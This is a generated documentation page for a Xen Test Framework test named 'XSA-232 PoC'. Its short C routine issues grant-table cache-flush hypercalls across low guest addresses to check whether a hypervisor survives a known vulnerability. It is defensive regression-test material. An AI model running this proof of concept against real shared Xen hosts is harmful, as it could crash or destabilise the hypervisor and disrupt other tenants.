Xen Test Framework
tests
xsa-232
main.c
Go to the documentation of this file.
1
18
#include <xtf.h>
19
20
const
char
test_title
[] =
"XSA-232 PoC"
;
21
22
void
test_main
(
void
)
23
{
24
struct
gnttab_cache_flush
flush = {
25
.
length
=
PAGE_SIZE
,
26
.op =
GNTTAB_CACHE_INVAL
|
GNTTAB_CACHE_CLEAN
,
27
};
28
29
for
( ; flush.
a
.
dev_bus_addr
<
MB
(1); flush.
a
.
dev_bus_addr
+=
PAGE_SIZE
)
30
hypercall_grant_table_op
(
GNTTABOP_cache_flush
, &flush, 1);
31
32
/* If Xen is alive at this point, it is probably not vulnerable. */
33
34
xtf_success
(
"Success: Probably not vulnerable to XSA-232\n"
);
35
}
36
37
/*
38
* Local variables:
39
* mode: C
40
* c-file-style: "BSD"
41
* c-basic-offset: 4
42
* tab-width: 4
43
* indent-tabs-mode: nil
44
* End:
45
*/
test_main
void test_main(void)
To be implemented by each test, as its entry point.
Definition:
main.c:110
test_title
const char test_title[]
The title of the test.
Definition:
main.c:24
hypercall_grant_table_op
static long hypercall_grant_table_op(unsigned int cmd, void *args, unsigned int count)
Definition:
hypercall.h:131
MB
#define MB(num)
Express num in Megabytes.
Definition:
numbers.h:26
PAGE_SIZE
#define PAGE_SIZE
Definition:
page.h:11
xtf_success
void xtf_success(const char *fmt,...)
Report test success.
Definition:
report.c:38
gnttab_cache_flush
Definition:
grant_table.h:331
gnttab_cache_flush::length
uint16_t length
Definition:
grant_table.h:337
gnttab_cache_flush::a
union gnttab_cache_flush::@47 a
gnttab_cache_flush::dev_bus_addr
uint64_t dev_bus_addr
Definition:
grant_table.h:333
GNTTAB_CACHE_CLEAN
#define GNTTAB_CACHE_CLEAN
Definition:
grant_table.h:338
GNTTABOP_cache_flush
#define GNTTABOP_cache_flush
Definition:
grant_table.h:330
GNTTAB_CACHE_INVAL
#define GNTTAB_CACHE_INVAL
Definition:
grant_table.h:339
Generated by
1.9.4